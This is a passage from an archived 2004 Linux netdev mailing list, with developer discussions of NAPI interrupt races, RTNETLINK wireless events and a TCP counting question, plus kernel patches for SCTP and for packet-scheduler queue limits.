Mar 2004 01:06:21 +0900 Received: from devron.myhome.or.jp (root@devron.myhome.or.jp [192.168.0.3]) by ibmpc.myhome.or.jp (8.12.11.Beta0/8.12.11.Beta0/Debian-1) with ESMTP id i2NG5WQh021982 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT); Wed, 24 Mar 2004 01:05:32 +0900 Received: from devron.myhome.or.jp (hirofumi@localhost [127.0.0.1]) by devron.myhome.or.jp (8.12.11.Beta0/8.12.11.Beta0/Debian-1) with ESMTP id i2NG5Vvg029681 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT); Wed, 24 Mar 2004 01:05:31 +0900 Received: (from hirofumi@localhost) by devron.myhome.or.jp (8.12.11.Beta0/8.12.11.Beta0/Debian-1) id i2NG5UFr029678; Wed, 24 Mar 2004 01:05:30 +0900 To: Jeff Garzik Cc: Francois Romieu , netdev@oss.sgi.com Subject: Re: [PATCH] [RFT] 2.6.4 - epic100 napi References: <20040320152109.A31118@electric-eye.fr.zoreil.com> <405DDDC6.7030007@pobox.com> <8765cvmyaq.fsf@devron.myhome.or.jp> <4060544F.2090702@pobox.com> From: OGAWA Hirofumi Date: Wed, 24 Mar 2004 01:05:30 +0900 In-Reply-To: <4060544F.2090702@pobox.com> Message-ID: <87brmnh7lh.fsf@devron.myhome.or.jp> User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-archive-position: 4205 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: hirofumi@mail.parknet.co.jp Precedence: bulk X-list: netdev Content-Length: 1599 Lines: 53 Jeff Garzik writes: > > Umm.. the above code is part of ->poll(). I think xxx_interrut() need > > netif_running() instead. The driver must clear __LINK_STATE_RX_SCHED > > flag... > > Most interrupt routines already test this, look at > > static inline int netif_rx_schedule_prep(struct net_device *dev) > { > return netif_running(dev) && > !test_and_set_bit(__LINK_STATE_RX_SCHED, &dev->state); > } > > It shouldn't schedule unless the interface is running. Yes. > However... I believe it was you that added this check to 8139cp.c: > > /* close possible race's with dev_close */ > if (unlikely(!netif_running(dev))) { > cpw16(IntrMask, 0); > goto out; > } Yes, I added. And my suggestion was about this. Because in case of 8139too, I got too many interrupts about pending RX during the following, and the following wasn't finished. (dev->close() wasn't called). dev_close(), clear_bit(__LINK_STATE_START, &dev->state); smp_mb__after_clear_bit(); /* Commit netif_running(). */ while (test_bit(__LINK_STATE_RX_SCHED, &dev->state)) { /* No hurry. */ current->state = TASK_INTERRUPTIBLE; schedule_timeout(1); } > I do wonder about the consequences, on some hardware, about receiving > an interrupt and -not- processing the RX or TX completions associated > with that. For most NIC hardware, you'll get sane behavior, but not > all, I bet... Is this meaning should _not_ receive the interrupt about pending RX/TX? Thanks. -- OGAWA Hirofumi From jt@bougret.hpl.hp.com Tue Mar 23 10:15:22 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 23 Mar 2004 10:15:28 -0800 (PST) Received: from palrel12.hp.com (palrel12.hp.com [156.153.255.237]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2NIFMKO020667 for ; Tue, 23 Mar 2004 10:15:22 -0800 Received: from tomil.hpl.hp.com (tomil.hpl.hp.com [15.0.152.100]) by palrel12.hp.com (Postfix) with ESMTP id 2FD511C02037 for ; Tue, 23 Mar 2004 10:15:02 -0800 (PST) Received: from bougret.hpl.hp.com (bougret.hpl.hp.com [15.4.92.227]) by tomil.hpl.hp.com (8.9.3 (PHNE_29774)/8.9.3 HPLabs Timeshare Server) with ESMTP id KAA25141 for ; Tue, 23 Mar 2004 10:15:01 -0800 (PST) Resent-From: jt@bougret.hpl.hp.com From: jt@bougret.hpl.hp.com Received: from jt by bougret.hpl.hp.com with local (Exim 3.35 #1 (Debian)) id 1B5qQX-00007c-00 for ; Tue, 23 Mar 2004 10:15:01 -0800 Date: Tue, 23 Mar 2004 09:57:17 -0800 To: hostap@shmoo.com Subject: Re: NETLINK upcalls and wireless events Message-ID: <20040323175717.GA32055@bougret.hpl.hp.com> Reply-To: jt@hpl.hp.com Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.3.28i Organisation: HP Labs Palo Alto Address: HP Labs, 1U-17, 1501 Page Mill road, Palo Alto, CA 94304, USA. E-mail: jt@hpl.hp.com Resent-Date: Tue, 23 Mar 2004 10:15:01 -0800 Resent-To: netdev@oss.sgi.com Resent-Message-Id: X-archive-position: 4206 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jt@bougret.hpl.hp.com Precedence: bulk X-list: netdev Content-Length: 1961 Lines: 49 Pavlin Radoslavov wrote : > > I am using Linux NETLINK sockets to monitor network interface events > in the kernel such as "interface added/deleted", "address > added/deleted", etc. [...] > In other words, some wireless events may also generate RTM_NEWLINK > message as well. I don't have a laptop with Linux to verify that > myself, but I am quite sure that some wireless events do generate > RTM_NEWLINK with no IFLA_IFNAME. [...] > If I receive an RTM_NEWLINK message, is there a reliable way to > find-out whether the message is generated because of a wireless > event or because indeed there is a new network interface installed > in the kernel. > > Checking whether the message contains the IFLA_WIRELESS field is > probably not an option, because I may be compiling the code on a > slightly older Linux box that doesn't have IFLA_WIRELESS defined. > The only solution I have so far is to check whether the message > contains the IFLA_IFNAME field, but this is more like a work-around > rather than a solution. Any suggestions? The method I personally use is that I keep a little database of interfaces (I need it for other reasons). Therefore, I know if the interface is new (not in my database) or already exist (present in my database). Note that in theory, RtNetlink messages may be lost (due to memory pressure). Also, you won't only get NEWLINK when interface register, but also when interface goes up and down, or when multicast or promiscuous flags are changed. Which mean that in practice you want to be much more clever than what you do now. Both methods you suggest would also work. If IFLA_WIRELESS doesn't exist, just define it : ----------------------------- #ifndef IFLA_WIRELESS #define IFLA_WIRELESS (IFLA_MASTER + 1) #endif /* IFLA_WIRELESS */ ----------------------------- The latest method is to look at both ifi_flags and ifi_change. If ifi_change is 0, it is usually a wireless event (but not always). Have fun... Jean From romieu@fr.zoreil.com Tue Mar 23 10:53:13 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 23 Mar 2004 10:53:20 -0800 (PST) Received: from fr.zoreil.com (electric-eye.fr.zoreil.com [213.41.134.224]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2NIrBKO021942 for ; Tue, 23 Mar 2004 10:53:12 -0800 Received: from electric-eye.fr.zoreil.com (localhost.localdomain [127.0.0.1]) by fr.zoreil.com (8.12.8/8.12.1) with ESMTP id i2NIpKgf014833; Tue, 23 Mar 2004 19:51:20 +0100 Received: (from romieu@localhost) by electric-eye.fr.zoreil.com (8.12.8/8.12.1) id i2NIpJ6F014832; Tue, 23 Mar 2004 19:51:19 +0100 Date: Tue, 23 Mar 2004 19:51:19 +0100 From: Francois Romieu To: OGAWA Hirofumi Cc: Jeff Garzik , netdev@oss.sgi.com Subject: Re: [PATCH] [RFT] 2.6.4 - epic100 napi Message-ID: <20040323195119.A14062@electric-eye.fr.zoreil.com> References: <20040320152109.A31118@electric-eye.fr.zoreil.com> <405DDDC6.7030007@pobox.com> <8765cvmyaq.fsf@devron.myhome.or.jp> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <8765cvmyaq.fsf@devron.myhome.or.jp>; from hirofumi@mail.parknet.co.jp on Tue, Mar 23, 2004 at 11:29:49PM +0900 X-Organisation: Land of Sunshine Inc. X-archive-position: 4207 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: romieu@fr.zoreil.com Precedence: bulk X-list: netdev Content-Length: 1577 Lines: 46 OGAWA Hirofumi : [...] > Umm.. the above code is part of ->poll(). I think xxx_interrut() need > netif_running() instead. The driver must clear __LINK_STATE_RX_SCHED > flag... > > BTW, ->napi_lock is unneeded because netif_schedule() is already > atomic, it need only local_irq_enable/disable(). Color me confused. The lock is supposed to protect against: CPU1 CPU2 [poll] epic_napi_irq_on(dev, ep); [irq handler] if (netif_rx_schedule_prep(dev)) { epic_napi_irq_off(dev, ep); __netif_rx_schedule(dev); } __netif_rx_complete(dev); -> napi irq are disabled and device is removed from poll list. What will prevent it ? > After __netif_rx_complete() must not do "goto rx_action", otherwise it > may become cause of twice scheduleing, it should move before spin_lock(). understand the previous statement as: + status = inl(ioaddr + INTSTAT); + if (status & EpicNapiEvent) { + epic_napi_irq_off(dev, ep); + goto rx_action; + + spin_lock_irqsave(&ep->napi_lock, flags); + epic_napi_irq_on(dev, ep); + __netif_rx_complete(dev); + spin_unlock_irqrestore(&ep->napi_lock, flags); + Afaiu, if some data comes in just before the spin_lock, it may wait for ages. Can you reformulate as I feel I still did not get it right. -- Ueimor From hirofumi@mail.parknet.co.jp Tue Mar 23 11:59:30 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 23 Mar 2004 11:59:39 -0800 (PST) Received: from mail.parknet.co.jp (mail.parknet.co.jp [210.171.160.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2NJxSKO024782 for ; Tue, 23 Mar 2004 11:59:29 -0800 Received: from ibmpc.myhome.or.jp [210.171.164.65] by mail.parknet.co.jp with ESMTP (SMTPD32-4.10) id A65D34940114; Wed, 24 Mar 2004 05:00:13 +0900 Received: from devron.myhome.or.jp (root@devron.myhome.or.jp [192.168.0.3]) by ibmpc.myhome.or.jp (8.12.11.Beta0/8.12.11.Beta0/Debian-1) with ESMTP id i2NJxMZv026676 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT); Wed, 24 Mar 2004 04:59:22 +0900 Received: from devron.myhome.or.jp (hirofumi@localhost [127.0.0.1]) by devron.myhome.or.jp (8.12.11.Beta0/8.12.11.Beta0/Debian-1) with ESMTP id i2NJxLcj031596 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT); Wed, 24 Mar 2004 04:59:21 +0900 Received: (from hirofumi@localhost) by devron.myhome.or.jp (8.12.11.Beta0/8.12.11.Beta0/Debian-1) id i2NJxJQN031592; Wed, 24 Mar 2004 04:59:19 +0900 To: Francois Romieu Cc: Jeff Garzik , netdev@oss.sgi.com Subject: Re: [PATCH] [RFT] 2.6.4 - epic100 napi References: <20040320152109.A31118@electric-eye.fr.zoreil.com> <405DDDC6.7030007@pobox.com> <8765cvmyaq.fsf@devron.myhome.or.jp> <20040323195119.A14062@electric-eye.fr.zoreil.com> From: OGAWA Hirofumi Date: Wed, 24 Mar 2004 04:59:19 +0900 In-Reply-To: <20040323195119.A14062@electric-eye.fr.zoreil.com> Message-ID: <871xnjgwrs.fsf@devron.myhome.or.jp> User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-archive-position: 4208 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: hirofumi@mail.parknet.co.jp Precedence: bulk X-list: netdev Content-Length: 2346 Lines: 62 Francois Romieu writes: > OGAWA Hirofumi : > [...] > > Umm.. the above code is part of ->poll(). I think xxx_interrut() need > > netif_running() instead. The driver must clear __LINK_STATE_RX_SCHED > > flag... > > > > BTW, ->napi_lock is unneeded because netif_schedule() is already > > atomic, it need only local_irq_enable/disable(). > > Color me confused. The lock is supposed to protect against: > > CPU1 CPU2 > [poll] > epic_napi_irq_on(dev, ep); > [irq handler] > if (netif_rx_schedule_prep(dev)) { > epic_napi_irq_off(dev, ep); > __netif_rx_schedule(dev); > } > __netif_rx_complete(dev); > > -> napi irq are disabled and device is removed from poll list. What will > prevent it ? __LINK_STATE_RX_SCHED flag is setting until __netif_rx_complete() is called. So netif_rx_schedule_prep() returns 0. > > After __netif_rx_complete() must not do "goto rx_action", otherwise it > > may become cause of twice scheduleing, it should move before spin_lock(). > > understand the previous statement as: > > + status = inl(ioaddr + INTSTAT); > + if (status & EpicNapiEvent) { > + epic_napi_irq_off(dev, ep); > + goto rx_action; > + > + spin_lock_irqsave(&ep->napi_lock, flags); > + epic_napi_irq_on(dev, ep); > + __netif_rx_complete(dev); > + spin_unlock_irqrestore(&ep->napi_lock, flags); > + > > Afaiu, if some data comes in just before the spin_lock, it may wait for ages. Yes, maybe. But, if after spin_lock, it loop may call the twice __netif_rx_schedule(). And netif_rx_complete() doesn't call dev_put(). It will leaks the dev->refcnt, I think. > + __netif_rx_complete(dev); > + spin_unlock_irqrestore(&ep->napi_lock, flags); -- interrupt and call __netif_rx_schedule() -- > + status = inl(ioaddr + INTSTAT); > + if (status & EpicNapiEvent) { > + epic_napi_irq_off(dev, ep); > + goto rx_action; Thanks. -- OGAWA Hirofumi From kernelnetworkguy@hotpop.com Tue Mar 23 12:09:24 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 23 Mar 2004 12:09:26 -0800 (PST) Received: from ensc.cpsc.ucalgary.ca (ensc.cpsc.ucalgary.ca [136.159.2.4]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2NK9NKO025360 for ; Tue, 23 Mar 2004 12:09:23 -0800 Received: from imgw1.cpsc.ucalgary.ca (imgw1.cpsc.ucalgary.ca [136.159.5.9]) by ensc.cpsc.ucalgary.ca (8.12.10/8.12.10) with ESMTP id i2NK2XIb004111; Tue, 23 Mar 2004 13:02:33 -0700 (MST) Received: from hotpop.com (ict719g [136.159.15.15]) by imgw1.cpsc.ucalgary.ca (8.12.10/8.12.10) with ESMTP id i2NK2SqW008750; Tue, 23 Mar 2004 13:02:28 -0700 Message-ID: <406097D3.10608@hotpop.com> Date: Tue, 23 Mar 2004 13:02:27 -0700 From: Abhinav Gupta User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.2.1) Gecko/20030225 X-Accept-Language: en-us, en MIME-Version: 1.0 To: netdev@oss.sgi.com, linux-net@vger.kernel.org Subject: Quirky Behaviour while counting #tcp packets received. Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Virus-Scanned: by amavis-milter (http://amavis.org/) X-archive-position: 4209 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: kernelnetworkguy@hotpop.com Precedence: bulk X-list: netdev Content-Length: 1309 Lines: 27 I am not sure if this is the correct mailing list for my question or not. If it isn't could someone please direct me to the correct one. Here's what I am doing and the problem emanating from it: I wanted to keep a track of tcp packets received from the network, so I started keeping a count of that by incrementing pkts_recv variable in the function tcp_recv_established in usr/src/linux/net/ipv4/tcp_input.c , everytime I receive a packet. The structure(tcp_opt) that contains pkts_recv variable is defined in usr/src/linux/include/net/sock.h. The problem that I am facing is that this count(pkts_recv) increments by one each time I receive a tcp packet, but then something goes wrong and the next time it receives a packet it(pkts_recv) increments by some random quantity (like 36,3, 55 ...). But after this incrementation by the random value, the next time it receives a packet it increments by 1 again (instead of the random value)! And there are several instances where the incrementation takes place by the random quantity (3-7 times when 1000 packets are received). I have checked in the source and the only place I am incrementing the count is in tcp_recv_established function. Does anyone have views on this quirky behavior? Any help would be greatly appreciated. Thanks, Abhinav. From sri@us.ibm.com Tue Mar 23 12:14:05 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 23 Mar 2004 12:14:10 -0800 (PST) Received: from e5.ny.us.ibm.com (e5.ny.us.ibm.com [32.97.182.105]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2NKE4KO025760 for ; Tue, 23 Mar 2004 12:14:04 -0800 Received: from northrelay04.pok.ibm.com (northrelay04.pok.ibm.com [9.56.224.206]) by e5.ny.us.ibm.com (8.12.10/8.12.2) with ESMTP id i2NKDwJr241070; Tue, 23 Mar 2004 15:13:58 -0500 Received: from w-sridhar.beaverton.ibm.com (d01av02.pok.ibm.com [9.56.224.216]) by northrelay04.pok.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i2NKEDae099966; Tue, 23 Mar 2004 15:14:14 -0500 Date: Tue, 23 Mar 2004 12:13:56 -0800 (PST) From: Sridhar Samudrala X-X-Sender: sridhar@localhost.localdomain To: davem@redhat.com cc: netdev@oss.sgi.com Subject: [BK PATCH] 2.6 SCTP updates. Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 4210 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: sri@us.ibm.com Precedence: bulk X-list: netdev Content-Length: 2391 Lines: 72 Hi Dave, please do a bk pull http://linux-lksctp.bkbits.net/lksctp-2.5.work to get the following updates to SCTP on top of linux 2.6.5-rc2. # This patch includes the following deltas: # ChangeSet 1.1817 -> 1.1819 # net/sctp/sm_make_chunk.c 1.66 -> 1.67 # net/sctp/ulpevent.c 1.23 -> 1.24 # net/sctp/Kconfig 1.11 -> 1.12 # # The following is the BitKeeper ChangeSet Log # -------------------------------------------- # 04/03/23 sri@us.ibm.com 1.1818 # [SCTP] Don't do any ppid byte-order conversions as it is opaque to SCTP. # -------------------------------------------- # 04/03/23 sri@us.ibm.com 1.1819 # [SCTP] Avoid the use of hackish CONFIG_IPV6_SCTP__ option. # -------------------------------------------- # diff -Nru a/net/sctp/Kconfig b/net/sctp/Kconfig --- a/net/sctp/Kconfig Tue Mar 23 11:54:23 2004 +++ b/net/sctp/Kconfig Tue Mar 23 11:54:23 2004 @@ -5,14 +5,9 @@ menu "SCTP Configuration (EXPERIMENTAL)" depends on INET && EXPERIMENTAL -config IPV6_SCTP__ - tristate - default y if IPV6=n - default IPV6 if IPV6 - config IP_SCTP tristate "The SCTP Protocol (EXPERIMENTAL)" - depends on IPV6_SCTP__ + depends on IPV6 || IPV6=n ---help--- Stream Control Transmission Protocol @@ -61,6 +56,7 @@ choice prompt "SCTP: Cookie HMAC Algorithm" depends on IP_SCTP + default SCTP_HMAC_MD5 help HMAC algorithm to be used during association initialization. It is strongly recommended to use HMAC-SHA1 or HMAC-MD5. See diff -Nru a/net/sctp/sm_make_chunk.c b/net/sctp/sm_make_chunk.c --- a/net/sctp/sm_make_chunk.c Tue Mar 23 11:54:23 2004 +++ b/net/sctp/sm_make_chunk.c Tue Mar 23 11:54:23 2004 @@ -516,7 +516,7 @@ */ dp.tsn = 0; dp.stream = htons(sinfo->sinfo_stream); - dp.ppid = htonl(sinfo->sinfo_ppid); + dp.ppid = sinfo->sinfo_ppid; /* Set the flags for an unordered send. */ if (sinfo->sinfo_flags & MSG_UNORDERED) { diff -Nru a/net/sctp/ulpevent.c b/net/sctp/ulpevent.c --- a/net/sctp/ulpevent.c Tue Mar 23 11:54:23 2004 +++ b/net/sctp/ulpevent.c Tue Mar 23 11:54:23 2004 @@ -663,7 +663,7 @@ * for and this information is passed opaquely by the SCTP stack from * one end to the other. */ - info->sinfo_ppid = ntohl(chunk->subh.data_hdr->ppid); + info->sinfo_ppid = chunk->subh.data_hdr->ppid; /* Sockets API Extensions for SCTP * Section 5.2.2 SCTP Header Information Structure (SCTP_SNDRCV) From sri@us.ibm.com Tue Mar 23 12:15:50 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 23 Mar 2004 12:15:53 -0800 (PST) Received: from e32.co.us.ibm.com (e32.co.us.ibm.com [32.97.110.130]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2NKFmKO026091 for ; Tue, 23 Mar 2004 12:15:48 -0800 Received: from westrelay02.boulder.ibm.com (westrelay02.boulder.ibm.com [9.17.195.11]) by e32.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i2NKFg0Y735820; Tue, 23 Mar 2004 15:15:42 -0500 Received: from w-sridhar.beaverton.ibm.com (d03av02.boulder.ibm.com [9.17.193.82]) by westrelay02.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i2NKFfXw383128; Tue, 23 Mar 2004 13:15:42 -0700 Date: Tue, 23 Mar 2004 12:15:41 -0800 (PST) From: Sridhar Samudrala X-X-Sender: sridhar@localhost.localdomain To: davem@redhat.com cc: netdev@oss.sgi.com Subject: [BK PATCH] 2.4 SCTP updates Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 4211 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: sri@us.ibm.com Precedence: bulk X-list: netdev Content-Length: 4484 Lines: 112 Hi Dave, Please do a bk pull http://linux-lksctp.bkbits.net/lksctp-2.4.work to get the following update to SCTP on top of linux 2.4.26-pre5 # This patch includes the following deltas: # ChangeSet 1.1309 -> 1.1311 # net/sctp/sm_make_chunk.c 1.4 -> 1.5 # net/sctp/ulpevent.c 1.4 -> 1.5 # net/sctp/Config.in 1.5 -> 1.6 # # The following is the BitKeeper ChangeSet Log # -------------------------------------------- # 04/03/23 sri@us.ibm.com 1.1310 # [SCTP] Don't do any ppid byte-order conversions as it is opaque to SCTP. # -------------------------------------------- # 04/03/23 sri@us.ibm.com 1.1311 # [SCTP] Avoid the use of hacking CONFIG_IPV6_SCTP__ option. # -------------------------------------------- # diff -Nru a/net/sctp/Config.in b/net/sctp/Config.in --- a/net/sctp/Config.in Tue Mar 23 11:54:53 2004 +++ b/net/sctp/Config.in Tue Mar 23 11:54:53 2004 @@ -4,39 +4,38 @@ mainmenu_option next_comment comment ' SCTP Configuration (EXPERIMENTAL)' -if [ "$CONFIG_IPV6" != "n" ]; then - define_bool CONFIG_IPV6_SCTP__ $CONFIG_IPV6 +if [ "$CONFIG_IPV6" = "n" ]; then + tristate ' The SCTP Protocol (EXPERIMENTAL)' CONFIG_IP_SCTP else - define_bool CONFIG_IPV6_SCTP__ y + dep_tristate ' The SCTP Protocol (EXPERIMENTAL)' CONFIG_IP_SCTP $CONFIG_IPV6 fi -dep_tristate ' The SCTP Protocol (EXPERIMENTAL)' CONFIG_IP_SCTP $CONFIG_IPV6_SCTP__ if [ "$CONFIG_IP_SCTP" != "n" ]; then - bool ' SCTP: Debug messages' CONFIG_SCTP_DBG_MSG - bool ' SCTP: Debug object counts' CONFIG_SCTP_DBG_OBJCNT -fi -if [ "$CONFIG_CRYPTO_HMAC" = "n" ]; then - choice ' SCTP: Cookie HMAC Algorithm' \ - "HMAC-NONE CONFIG_SCTP_HMAC_NONE" HMAC-NONE -else - if [ "$CONFIG_CRYPTO_MD5" = "n" -a "$CONFIG_CRYPTO_SHA1" = "n" ]; then + bool ' SCTP: Debug messages' CONFIG_SCTP_DBG_MSG + bool ' SCTP: Debug object counts' CONFIG_SCTP_DBG_OBJCNT + if [ "$CONFIG_CRYPTO_HMAC" = "n" ]; then choice ' SCTP: Cookie HMAC Algorithm' \ - "HMAC-NONE CONFIG_SCTP_HMAC_NONE" HMAC-NONE + "HMAC-NONE CONFIG_SCTP_HMAC_NONE" HMAC-NONE else - if [ "$CONFIG_CRYPTO_MD5" != "n" -a "$CONFIG_CRYPTO_SHA1" != "n" ]; then + if [ "$CONFIG_CRYPTO_MD5" = "n" -a "$CONFIG_CRYPTO_SHA1" = "n" ]; then choice ' SCTP: Cookie HMAC Algorithm' \ - "HMAC-NONE CONFIG_SCTP_HMAC_NONE \ - HMAC-SHA1 CONFIG_SCTP_HMAC_SHA1 \ - HMAC-MD5 CONFIG_SCTP_HMAC_MD5" HMAC-SHA1 + "HMAC-NONE CONFIG_SCTP_HMAC_NONE" HMAC-NONE else - if [ "$CONFIG_CRYPTO_MD5" != "n" ]; then - choice 'SCTP: Cookie HMAC Algorithm' \ - "HMAC-NONE CONFIG_SCTP_HMAC_NONE \ - HMAC-MD5 CONFIG_SCTP_HMAC_MD5" HMAC-MD5 + if [ "$CONFIG_CRYPTO_MD5" != "n" -a "$CONFIG_CRYPTO_SHA1" != "n" ]; then + choice ' SCTP: Cookie HMAC Algorithm' \ + "HMAC-NONE CONFIG_SCTP_HMAC_NONE \ + HMAC-SHA1 CONFIG_SCTP_HMAC_SHA1 \ + HMAC-MD5 CONFIG_SCTP_HMAC_MD5" HMAC-MD5 else - choice 'SCTP: Cookie HMAC Algorithm' \ - "HMAC-NONE CONFIG_SCTP_HMAC_NONE \ - HMAC-SHA1 CONFIG_SCTP_HMAC_SHA1" HMAC-SHA1 + if [ "$CONFIG_CRYPTO_MD5" != "n" ]; then + choice 'SCTP: Cookie HMAC Algorithm' \ + "HMAC-NONE CONFIG_SCTP_HMAC_NONE \ + HMAC-MD5 CONFIG_SCTP_HMAC_MD5" HMAC-MD5 + else + choice 'SCTP: Cookie HMAC Algorithm' \ + "HMAC-NONE CONFIG_SCTP_HMAC_NONE \ + HMAC-SHA1 CONFIG_SCTP_HMAC_SHA1" HMAC-SHA1 + fi fi fi fi diff -Nru a/net/sctp/sm_make_chunk.c b/net/sctp/sm_make_chunk.c --- a/net/sctp/sm_make_chunk.c Tue Mar 23 11:54:53 2004 +++ b/net/sctp/sm_make_chunk.c Tue Mar 23 11:54:53 2004 @@ -516,7 +516,7 @@ */ dp.tsn = 0; dp.stream = htons(sinfo->sinfo_stream); - dp.ppid = htonl(sinfo->sinfo_ppid); + dp.ppid = sinfo->sinfo_ppid; /* Set the flags for an unordered send. */ if (sinfo->sinfo_flags & MSG_UNORDERED) { diff -Nru a/net/sctp/ulpevent.c b/net/sctp/ulpevent.c --- a/net/sctp/ulpevent.c Tue Mar 23 11:54:53 2004 +++ b/net/sctp/ulpevent.c Tue Mar 23 11:54:53 2004 @@ -663,7 +663,7 @@ * for and this information is passed opaquely by the SCTP stack from * one end to the other. */ - info->sinfo_ppid = ntohl(chunk->subh.data_hdr->ppid); + info->sinfo_ppid = chunk->subh.data_hdr->ppid; /* Sockets API Extensions for SCTP * Section 5.2.2 SCTP Header Information Structure (SCTP_SNDRCV) From kaber@trash.net Tue Mar 23 14:55:12 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 23 Mar 2004 14:55:14 -0800 (PST) Received: from gw.localnet (port-212-202-52-228.reverse.qsc.de [212.202.52.228]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2NMtAKO002793 for ; Tue, 23 Mar 2004 14:55:11 -0800 Received: from ws.localnet ([192.168.0.23] helo=trash.net ident=kaber) by gw.localnet with esmtp (Exim 3.36 #1 (Debian)) id 1B5uo5-0003XM-00; Tue, 23 Mar 2004 23:55:37 +0100 Message-ID: <4060C0A5.40402@trash.net> Date: Tue, 23 Mar 2004 23:56:37 +0100 From: Patrick McHardy User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko/20040122 Debian/1.6-1 X-Accept-Language: en MIME-Version: 1.0 To: Gianfranco Delli Carri CC: linux-kernel@vger.kernel.org, netdev@oss.sgi.com, "David S. Miller" Subject: Re: Kernel 2.4.25 + VLAN + CBQ disc broken ? References: <4008E74134355D43998FFFC3D637BB030463DF@starsky.ncc.itgate.net> In-Reply-To: <4008E74134355D43998FFFC3D637BB030463DF@starsky.ncc.itgate.net> X-Enigmail-Version: 0.83.3.0 X-Enigmail-Supports: pgp-inline, pgp-mime Content-Type: multipart/mixed; boundary="------------090502020107040702010806" X-archive-position: 4212 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: kaber@trash.net Precedence: bulk X-list: netdev Content-Length: 2454 Lines: 80 This is a multi-part message in MIME format. --------------090502020107040702010806 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Gianfranco Delli Carri wrote: > Greetigs, > > seems that in a 2.4.25 kernel, with VLAN configured, if you try tu use CBQ disc on VLAN subIf no more traffic can be passed. (NO ARP, NO IP) > > Just after: > /sbin/tc qdisc add dev eth1.10 root handle 1 cbq bandwidth 100Mbit avpkt 1000 cell 8 > > traffic was dropped. > > Seems that in the same server enviroment the CBQ disc attached to the untagged interface can work without problems. Please try this patch. Dave, the txqueuelen=0 fix for pfifo_fast apparently didn't went in 2.4, this is the patch from 2.6, it applies with minor offset. Best regards Patrick --------------090502020107040702010806 Content-Type: text/plain; name="x" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="x" ChangeSet 1.1561.2.5, 2004/02/18 13:18:53-08:00, kaber@trash.net [PKTSCHED]: Use queue limit of 1 when tx_queue_len is zero. # This patch includes the following deltas: # ChangeSet 1.1561.2.4 -> 1.1561.2.5 # net/sched/sch_fifo.c 1.7 -> 1.8 # net/sched/sch_gred.c 1.13 -> 1.14 # sch_fifo.c | 6 ++++-- sch_gred.c | 2 +- 2 files changed, 5 insertions(+), 3 deletions(-) diff -Nru a/net/sched/sch_fifo.c b/net/sched/sch_fifo.c --- a/net/sched/sch_fifo.c Wed Feb 18 18:09:39 2004 +++ b/net/sched/sch_fifo.c Wed Feb 18 18:09:39 2004 @@ -141,10 +141,12 @@ struct fifo_sched_data *q = (void*)sch->data; if (opt == NULL) { + unsigned int limit = sch->dev->tx_queue_len ? : 1; + if (sch->ops == &bfifo_qdisc_ops) - q->limit = sch->dev->tx_queue_len*sch->dev->mtu; + q->limit = limit*sch->dev->mtu; else - q->limit = sch->dev->tx_queue_len; + q->limit = limit; } else { struct tc_fifo_qopt *ctl = RTA_DATA(opt); if (opt->rta_len < RTA_LENGTH(sizeof(*ctl))) diff -Nru a/net/sched/sch_gred.c b/net/sched/sch_gred.c --- a/net/sched/sch_gred.c Wed Feb 18 18:09:39 2004 +++ b/net/sched/sch_gred.c Wed Feb 18 18:09:39 2004 @@ 